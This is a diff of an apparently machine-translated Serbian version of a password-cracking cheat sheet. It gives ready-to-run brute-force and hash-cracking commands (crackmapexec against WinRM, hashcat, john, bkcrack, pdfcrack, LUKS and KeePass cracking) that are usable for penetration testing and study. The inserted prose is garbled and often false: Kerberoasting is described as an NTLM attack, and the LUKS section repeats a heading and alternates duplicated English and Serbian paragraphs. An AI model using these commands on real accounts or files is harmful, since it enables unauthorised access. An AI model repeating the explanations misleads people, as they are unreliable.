zahtevati dosta vremena, posebno ako je lozinka kompleksna. + +Da bi se izvršio Brute Force napad na Winrm, koriste se alati kao što su Hydra, Medusa ili Ncrack. Ovi alati automatski isprobavaju različite kombinacije korisničkih imena i lozinki sve dok ne pronađu ispravnu kombinaciju. Važno je napomenuti da je Brute Force napad nelegalan i može imati ozbiljne pravne posledice ako se izvršava bez dozvole. + +#### Zaštita od Brute Force napada na Winrm + +Da biste zaštitili Winrm servis od Brute Force napada, možete preduzeti nekoliko mera: + +- Koristite jake lozinke koje se sastoje od kombinacije slova, brojeva i specijalnih karaktera. +- Implementirajte politiku zaključavanja naloga nakon određenog broja neuspelih pokušaja prijavljivanja. +- Koristite dvofaktornu autentifikaciju kako biste dodatno otežali neovlašćen pristup. +- Redovno ažurirajte softver i operativni sistem kako biste ispravili poznate sigurnosne propuste. +- Koristite firewall kako biste ograničili pristup Winrm servisu samo sa pouzdanih IP adresa. + +Implementiranjem ovih mera možete značajno smanjiti rizik od uspešnog Brute Force napada na Winrm servis. ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` -
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** podržane najnaprednijim alatima zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Local +## Lokalno -### Online cracking databases +### Online baze za dešifrovanje -* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value) -* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) -* [https://crackstation.net/](https://crackstation.net) (Hashes) +* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 i SHA1) +* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 sa/bez ESS/SSP i sa bilo kojom vrednošću izazova) +* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Heševi, WPA2 snimci i arhive MSOffice, ZIP, PDF...) +* [https://crackstation.net/](https://crackstation.net) (Heševi) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -* [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes) -* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) -* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) +* [https://gpuhash.me/](https://gpuhash.me) (Heševi i heševi fajlova) +* [https://hashes.org/search.php](https://hashes.org/search.php) (Heševi) +* [https://www.cmd5.org/](https://www.cmd5.org) (Heševi) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Check this out before trying to brute force a Hash. +Proverite ovo pre nego što pokušate da izvršite brute force napad na heš. ### ZIP - ```bash -#sudo apt-get install fcrackzip +#sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip ``` @@ -587,12 +1037,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` +#### Napad na zip sa poznatim plaintextom -#### Known plaintext zip attack - -You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\ -Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page. - +Potrebno je da znate **plaintext** (ili deo plaintexta) **fajla koji se nalazi unutar** enkriptovanog zipa. Možete proveriti **imenike i veličinu fajlova koji se nalaze unutar** enkriptovanog zipa pokretanjem komande: **`7z l encrypted.zip`**\ +Preuzmite [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)sa stranice sa izdanjima. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -601,12 +1049,24 @@ zip plaintext.zip plaintext.file # Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18 # With that key you can create a new zip file with the content of encrypted.zip # but with a different pass that you set (so you can decrypt it) -./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd +./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` - ### 7z +7z je popularan program za arhiviranje i kompresiju podataka. Može se koristiti za brute force napade na zaštićene 7z arhive. Da biste izvršili brute force napad na 7z arhivu, možete koristiti alat poput 7z Cracker-a ili John the Ripper-a. + +#### 7z Cracker + +7z Cracker je alat koji se koristi za brute force napade na 7z arhive. Može se koristiti za otključavanje lozinki zaštićenih 7z arhiva. Alat koristi različite metode, kao što su rječnik napad, kombinacijski napad i napad s maskom, kako bi pokušao otkriti lozinku. + +Da biste koristili 7z Cracker, morate imati instaliran 7z program na svom računalu. Nakon toga, možete pokrenuti 7z Cracker i odabrati ciljanu 7z arhivu za napad. Alat će automatski pokrenuti brute force napad i pokušati otkriti lozinku. + +#### John the Ripper + +John the Ripper je popularan alat za brute force napade na različite vrste arhiva, uključujući 7z arhive. Može se koristiti za otključavanje lozinki zaštićenih 7z arhiva. Alat podržava različite vrste napada, kao što su rječnik napad, kombinacijski napad i napad s maskom. + +Da biste koristili John the Ripper za brute force napad na 7z arhivu, morate imati instaliran John the Ripper na svom računalu. Nakon toga, možete pokrenuti alat i odabrati ciljanu 7z arhivu za napad. Alat će automatski pokrenuti brute force napad i pokušati otkriti lozinku. ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -617,9 +1077,15 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` - ### PDF +PDF (Portable Document Format) je popularan format za deljenje elektronskih dokumenata. Često se koristi za distribuciju i čuvanje digitalnih knjiga, članaka, uputstava i drugih vrsta dokumenata. PDF format omogućava da dokument izgleda isto na različitim uređajima i operativnim sistemima, čime se očuvava izgled i formatiranje originalnog dokumenta. + +Brute force napad na PDF datoteke može se koristiti za pokušaj otkrivanja lozinke koja štiti pristup dokumentu. Ovaj napad se zasniva na sistematskom isprobavanju svih mogućih kombinacija lozinki dok se ne pronađe tačna lozinka. Brute force napad na PDF datoteke može biti vremenski zahtevan proces, posebno ako je lozinka dugačka i kompleksna. + +Postoje različiti alati i softveri koji se mogu koristiti za izvođenje brute force napada na PDF datoteke. Ovi alati obično koriste rečnike sa velikim brojem potencijalnih lozinki i automatski isprobavaju svaku lozinku dok ne pronađu tačnu. Važno je napomenuti da je brute force napad ilegalan, osim ako se izvodi na sopstvenim sistemima ili uz dozvolu vlasnika dokumenta. + +Da biste zaštitili PDF datoteke od brute force napada, preporučuje se korišćenje snažnih lozinki koje kombinuju različite karakteristike kao što su velika i mala slova, brojevi i posebni znakovi. Takođe je moguće koristiti enkripciju i dodatne sigurnosne mehanizme kako bi se otežao ili onemogućio brute force napad. ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -628,13 +1094,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` +### Vlasnik lozinke za PDF -### PDF Owner Password - -To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Da biste probili vlasničku lozinku za PDF, pogledajte ovo: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT - ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack @@ -646,17 +1110,52 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` +### NTLM krekovanje -### NTLM cracking +NTLM (New Technology LAN Manager) je autentifikacioni protokol koji se koristi u Windows operativnim sistemima. NTLM krekovanje je tehnika koja se koristi za otkrivanje lozinki koje su zaštićene NTLM hashom. +#### Metode NTLM krekovanja + +1. **Rečnik napada** - Ova metoda koristi predefinisani rečnik lozinki kako bi se pokušalo sa svakom lozinkom iz rečnika. Ako se pronađe podudaranje sa NTLM hashom, lozinka je uspešno krekovana. + +2. **Brute force napad** - Ova metoda koristi sve moguće kombinacije karaktera kako bi se pokušalo sa svakom mogućom lozinkom. Ova metoda je vremenski zahtevna i može potrajati dugo vremena, posebno za složene lozinke. + +3. **Rainbow tablice** - Ova metoda koristi prethodno izračunate tablice sa NTLM hashovima i odgovarajućim lozinkama. Ako se pronađe podudaranje sa NTLM hashom, lozinka je uspešno krekovana. + +4. **Hibridni napad** - Ova metoda kombinuje rečnik napada i brute force napad kako bi se povećala efikasnost krekovanja lozinki. + +#### Alati za NTLM krekovanje + +Postoji nekoliko alata koji se mogu koristiti za NTLM krekovanje, uključujući: + +- **John the Ripper** - Otvoreni izvor alat za krekovanje lozinki koji podržava NTLM krekovanje. +- **Hashcat** - Napredni alat za krekovanje lozinki koji podržava NTLM krekovanje. +- **Cain & Abel** - Alat za krekovanje lozinki koji podržava NTLM krekovanje, kao i druge napade na autentifikaciju. + +#### Mere zaštite od NTLM krekovanja + +Da biste se zaštitili od NTLM krekovanja, preporučuje se preduzimanje sledećih mera: + +- Korišćenje jakih lozinki koje se teško mogu pogoditi brute force napadom. +- Korišćenje dvofaktorne autentifikacije kako bi se dodatno otežao neovlašćen pristup. +- Redovno ažuriranje sistema i primena sigurnosnih zakrpa kako bi se ispravile poznate ranjivosti. +- Korišćenje sigurnih protokola za autentifikaciju, kao što je Kerberos, umesto NTLM protokola. + +NTLM krekovanje je moćna tehnika koju hakeri mogu koristiti za otkrivanje lozinki. Međutim, pridržavanje sigurnosnih mera i korišćenje jakih lozinki može značajno smanjiti rizik od uspešnog krekovanja. ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` - ### Keepass +Keepass je besplatan i open-source menadžer lozinki koji omogućava sigurno čuvanje i upravljanje lozinkama. Ovaj alat koristi jaku enkripciju kako bi zaštitio vaše lozinke od neovlašćenog pristupa. Keepass vam omogućava da generišete i čuvate složene lozinke za različite naloge, a sve što trebate zapamtiti je glavna lozinka za pristup Keepass bazi podataka. + +Keepass takođe podržava funkcionalnost automatskog popunjavanja lozinki, što vam omogućava da brzo i jednostavno popunite obrasce za prijavu na veb stranicama. Ovaj alat takođe ima mogućnost organizovanja lozinki u grupe i dodavanja dodatnih informacija uz svaku lozinku, kao što su korisničko ime, URL adresa i beleške. + +Kako bi se zaštitio od brute force napada, Keepass ima ugrađenu funkcionalnost blokiranja nakon određenog broja neuspelih pokušaja prijavljivanja. Ovo sprečava napadače da pokušavaju da pogode glavnu lozinku metodom isprobavanja različitih kombinacija. + +Keepass je veoma popularan alat među korisnicima koji žele da održe visok nivo sigurnosti svojih lozinki. Sa njegovom pomoći, možete efikasno upravljati i zaštititi sve svoje lozinke na jednom mestu. ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -664,30 +1163,54 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` - ### Keberoasting +Keberoasting je tehnika napada koja se koristi za izvlačenje lozinki iz usluga autentifikacije koje koriste NTLM (New Technology LAN Manager) za šifrovanje lozinki. Ova tehnika se fokusira na slabosti u načinu na koji NTLM šifruje lozinke i omogućava napadačima da izvuku NTLM heš lozinke iz mreže. + +Da bi se izvršio keberoasting napad, napadač mora prvo da identifikuje ciljane korisnike koji koriste NTLM za autentifikaciju. Zatim, napadač koristi alat poput "Rubeus" da bi izvršio keberoasting napad. Alat će zatražiti NTLM heš lozinke od ciljanih korisnika i zatim ih dešifrovati koristeći "keberos" protokol. + +Napadač može koristiti dobijene lozinke za dalje napade, kao što su pokušaji pristupa drugim sistemima ili servisima koristeći iste lozinke. Da bi se zaštitili od keberoasting napada, preporučuje se korišćenje jačih metoda autentifikacije koje ne koriste NTLM, kao što su Kerberos ili OAuth. Takođe, redovno ažuriranje sistema i promena lozinki može smanjiti rizik od ovog napada. ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` +### Slika Lucks -### Lucks image - -#### Method 1 - -Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) +#### Metoda 1 +Instalirajte: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` +#### Metoda 2 -#### Method 2 +##### Brute Force +##### Brute Force + +Brute force is a technique used to crack passwords or encryption by systematically trying all possible combinations until the correct one is found. It is a time-consuming method but can be effective if the password is weak or the encryption algorithm is not strong. + +Brute force je tehnika koja se koristi za probijanje lozinki ili šifrovanja sistematskim isprobavanjem svih mogućih kombinacija dok se ne pronađe tačna. To je metoda koja oduzima puno vremena, ali može biti efikasna ako je lozinka slaba ili algoritam šifrovanja nije jak. + +There are different types of brute force attacks, including: + +Postoje različite vrste napada brute force, uključujući: + +- **Online brute force**: This type of attack involves directly targeting a login page or an online service and attempting to guess the password by submitting multiple login attempts. It can be easily detected and prevented by implementing account lockouts or CAPTCHA. + +- **Online brute force**: Ova vrsta napada uključuje direktno ciljanje stranice za prijavu ili online servisa i pokušaj pogodovanja lozinke slanjem više pokušaja prijave. Može se lako otkriti i sprečiti implementiranjem zaključavanja naloga ili CAPTCHA. + +- **Offline brute force**: In this type of attack, the attacker obtains a password hash or an encrypted file and tries to crack it offline by using powerful hardware or software. This method is more time-consuming but can be effective against strong passwords. + +- **Offline brute force**: U ovom tipu napada, napadač dobija heš lozinke ili šifrovanu datoteku i pokušava da je probije offline koristeći moćan hardver ili softver. Ova metoda oduzima više vremena, ali može biti efikasna protiv jakih lozinki. + +To protect against brute force attacks, it is important to use strong and unique passwords, implement account lockouts or rate limiting, and use multi-factor authentication whenever possible. + +Da biste se zaštitili od napada brute force, važno je koristiti jake i jedinstvene lozinke, implementirati zaključavanje naloga ili ograničavanje brzine, i koristiti višestruku autentifikaciju kad god je to moguće. ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -696,39 +1219,39 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +Još jedan Luks BF tutorijal: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql - ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` +### PGP/GPG Privatni ključ -### PGP/GPG Private key +PGP (Pretty Good Privacy) i GPG (GNU Privacy Guard) su kriptografski softveri koji se koriste za šifrovanje i dešifrovanje podataka, kao i za digitalno potpisivanje poruka. Privatni ključ je ključ koji se koristi za dešifrovanje podataka koji su šifrovani javnim ključem. Ovaj ključ je od vitalnog značaja za održavanje sigurnosti i privatnosti podataka. +Brute force napad na PGP/GPG privatni ključ je tehnika koja se koristi za pokušaj otkrivanja privatnog ključa isprobavanjem svih mogućih kombinacija. Ova tehnika je vremenski zahtevna i zahteva veliku računarsku snagu. Napadači mogu koristiti različite metode, kao što su rečnici sa lozinkama, kombinacije karaktera ili algoritmi za generisanje ključeva. + +Da biste zaštitili svoj PGP/GPG privatni ključ od brute force napada, preporučuje se korišćenje jakih lozinki koje kombinuju različite vrste karaktera (velika slova, mala slova, brojevi, posebni znakovi) i redovno menjanje lozinke. Takođe je važno da privatni ključ bude čuvan na sigurnom mestu, kao što je sigurnosni token ili hardverski uređaj. ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` - ### Cisco
### DPAPI Master Key -Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john +Koristite [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) a zatim john ### Open Office Pwd Protected Column -If you have an xlsx file with a column protected by a password you can unprotect it: - -* **Upload it to google drive** and the password will be automatically removed -* To **remove** it **manually**: +Ako imate xlsx datoteku sa kolonom koja je zaštićena lozinkom, možete je ukloniti: +* **Otpremite je na Google Drive** i lozinka će automatski biti uklonjena +* Da je **ručno uklonite**: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -737,76 +1260,72 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV # Remove that line and rezip the file zip -r file.xls . ``` +### PFX Sertifikati -### PFX Certificates +PFX sertifikati su digitalni sertifikati koji se koriste za enkripciju i autentifikaciju podataka. PFX format je popularan jer omogućava skladištenje privatnog ključa i javnog sertifikata u jednom fajlu. Ovi sertifikati se često koriste u SSL/TLS komunikaciji, kao i za digitalno potpisivanje dokumenata. +Da biste izvršili brute force napad na PFX sertifikat, možete koristiti alate kao što su `openssl` ili `john the ripper`. Ovi alati omogućavaju automatsko isprobavanje različitih kombinacija lozinki kako bi se otkrila tačna lozinka za PFX sertifikat. + +Kada izvršavate brute force napad na PFX sertifikat, važno je uzeti u obzir snagu lozinke. Korišćenje složenih lozinki sa kombinacijom velikih i malih slova, brojeva i posebnih znakova može otežati napad. Takođe, možete koristiti rečnike sa popularnim lozinkama ili generisati sopstvene rečnike za isprobavanje. + +Važno je napomenuti da je brute force napad ilegalan, osim ako se izvodi na sopstvenim sistemima ili uz dozvolu vlasnika sistema. Uvek se pridržavajte zakona i etičkih smernica prilikom izvođenja bilo kakvih hakovanja ili testiranja sigurnosti. ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` -
\ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Tools +## Alati -**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) - -### Hash-identifier +**Primeri heševa:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +### Identifikacija heša ```bash hash-identifier > ``` - -### Wordlists +### Wordlistovi * **Rockyou** * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -### **Wordlist Generation Tools** - -* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes. +### **Alati za generisanje wordlistova** +* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Napredni generator koraka po tastaturi sa konfigurabilnim osnovnim karakterima, rasporedom tastera i rutama. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` +### John mutacija -### John mutation - -Read _**/etc/john/john.conf**_ and configure it - +Pročitajte _**/etc/john/john.conf**_ i konfigurišite ga. ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` - ### Hashcat -#### Hashcat attacks +#### Napadi Hashcat-a -* **Wordlist attack** (`-a 0`) with rules - -**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +* **Napad sa listom reči** (`-a 0`) sa pravilima +**Hashcat** već dolazi sa **folderom koji sadrži pravila**, ali možete pronaći [**ostala interesantna pravila ovde**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` +* **Napad kombinovanjem liste reči** -* **Wordlist combinator** attack - -It's possible to **combine 2 wordlists into 1** with hashcat.\ -If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated. - +Moguće je **kombinovati 2 liste reči u jednu** pomoću hashcat alata.\ +Ako prva lista sadrži reč **"hello"**, a druga lista sadrži 2 linije sa rečima **"world"** i **"earth"**, generisaće se reči `helloworld` i `helloearth`. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -817,9 +1336,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` - -* **Mask attack** (`-a 3`) - +* **Napad maskom** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d @@ -851,9 +1368,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` - -* Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack - +* Napad sa kombinacijom liste reči + maska (`-a 6`) / Maska + lista reči (`-a 7`) ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -861,59 +1376,149 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` +#### Hashcat režimi -#### Hashcat modes +Hashcat je moćan alat za dešifrovanje lozinki koji podržava različite režime rada. Svaki režim ima svoju specifičnu namenu i koristi se za različite vrste napada. Evo nekoliko najčešće korišćenih režima: +- **Režim 0**: Režim za dešifrovanje MD5 hashova. +- **Režim 1000**: Režim za dešifrovanje NTLM hashova. +- **Režim 2500**: Režim za dešifrovanje WPA/WPA2 hashova. +- **Režim 3000**: Režim za dešifrovanje LM hashova. +- **Režim 500**: Režim za dešifrovanje Cisco IOS hashova. +- **Režim 1800**: Režim za dešifrovanje SHA-512(Unix) hashova. + +Ovo su samo neki od mnogih režima koje Hashcat podržava. Važno je odabrati odgovarajući režim u skladu sa vrstom hasha koji pokušavate da dešifrujete. ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` +# Pucanje Linux heševa - fajl /etc/shadow -Cracking Linux Hashes - /etc/shadow file +## Uvod +Fajl `/etc/shadow` je sistemski fajl u Linux operativnom sistemu koji sadrži heširane lozinke korisnika. Kada se korisnik prijavi na sistem, unesena lozinka se hešira i upoređuje sa vrednošću heša iz `/etc/shadow` fajla. Ako se heševi poklapaju, korisnik je uspešno autentifikovan. + +U ovom odeljku ćemo se fokusirati na tehniku pucanja Linux heševa iz `/etc/shadow` fajla. + +## Metode pucanja Linux heševa + +### 1. Rečnik napad + +Rečnik napad je tehnika koja se zasniva na pokušaju svake reči iz rečnika kao potencijalne lozinke. Ova metoda je efikasna kada korisnici koriste slabe lozinke koje se mogu naći u rečnicima. + +Da biste izvršili rečnik napad, možete koristiti alate kao što su `John the Ripper` ili `Hashcat`. Ovi alati omogućavaju brzo i efikasno pucanje heševa koristeći rečnike sa predefinisanim lozinkama. + +### 2. Brute force napad + +Brute force napad je tehnika koja pokušava sve moguće kombinacije karaktera kako bi pronašla tačnu lozinku. Ova metoda je vremenski zahtevna, ali može biti uspešna čak i kada korisnici koriste jake lozinke. + +Da biste izvršili brute force napad, možete koristiti alate kao što su `John the Ripper`, `Hashcat` ili `Hydra`. Ovi alati omogućavaju automatsko generisanje i testiranje svih mogućih kombinacija karaktera. + +### 3. Rainbow table napad + +Rainbow table napad je tehnika koja se zasniva na prethodno izračunatim heševima i njihovim odgovarajućim lozinkama. Ova metoda je efikasna kada se korisnici oslanjaju na slabe heš algoritme ili koriste česte lozinke. + +Da biste izvršili rainbow table napad, možete koristiti alate kao što su `John the Ripper` ili `Hashcat`. Ovi alati omogućavaju upotrebu prethodno generisanih rainbow tabela za brzo pucanje heševa. + +## Zaključak + +Pucanje Linux heševa iz `/etc/shadow` fajla može biti izazovno, ali korišćenje odgovarajućih tehnika i alata može olakšati ovaj proces. Važno je napomenuti da je pucanje heševa bez dozvole vlasnika sistema ilegalno i može imati ozbiljne pravne posledice. Ove tehnike treba koristiti samo u okviru zakonskih i etičkih granica, kao deo penetracionog testiranja ili zaštite sistema. ``` - 500 | md5crypt $1$, MD5(Unix) | Operating-Systems +500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` +Razbijanje Windows heševa -Cracking Windows Hashes +--- +### NTLM Hash + +NTLM heš je jedan od najčešće korišćenih heševa za autentifikaciju u Windows okruženju. Može se koristiti za pokušaj preuzimanja lozinke korisnika. + +#### Brute Force napad + +Brute Force napad je tehnika koja se koristi za pokušaj otkrivanja lozinke tako što se sistematski isprobavaju sve moguće kombinacije. Za NTLM heš, možete koristiti alate kao što su Hashcat ili John the Ripper za izvršavanje Brute Force napada. + +#### Rainbow tablice + +Rainbow tablice su prethodno izračunate tablice koje sadrže hešove i odgovarajuće lozinke. Možete koristiti alate kao što su RainbowCrack ili Ophcrack za pretragu ovih tablica kako biste pronašli odgovarajuću lozinku za NTLM heš. + +### LM Hash + +LM heš je stariji heš koji se koristi u Windows operativnim sistemima. On je manje siguran od NTLM heša i može se relativno lako razbiti. + +#### Brute Force napad + +Brute Force napad se takođe može koristiti za razbijanje LM heša. Alati kao što su Hashcat ili John the Ripper mogu se koristiti za izvršavanje ovog napada. + +#### Rainbow tablice + +Takođe možete koristiti RainbowCrack ili Ophcrack za pretragu rainbow tablica kako biste pronašli odgovarajuću lozinku za LM heš. + +### Pass the Hash + +Pass the Hash je tehnika koja omogućava napadaču da se autentifikuje na sistem koristeći samo heš lozinke, umesto da zna pravu lozinku. Ova tehnika se može koristiti za pristup sistemu bez potrebe za razbijanjem heša. + +### Credential Stuffing + +Credential Stuffing je tehnika koja se koristi za automatizovano testiranje velikog broja korisničkih imena i lozinki na različitim veb lokacijama. Ova tehnika se može koristiti za pokušaj pronalaženja korisničkih imena i lozinki koje se koriste na Windows sistemima. + +### Dictionary Attack + +Dictionary Attack je tehnika koja se koristi za pokušaj pronalaženja lozinke koristeći predefinisani rečnik lozinki. Ova tehnika može biti efikasna ako korisnik koristi slabu lozinku koja se nalazi u rečniku. + +### Hybrid 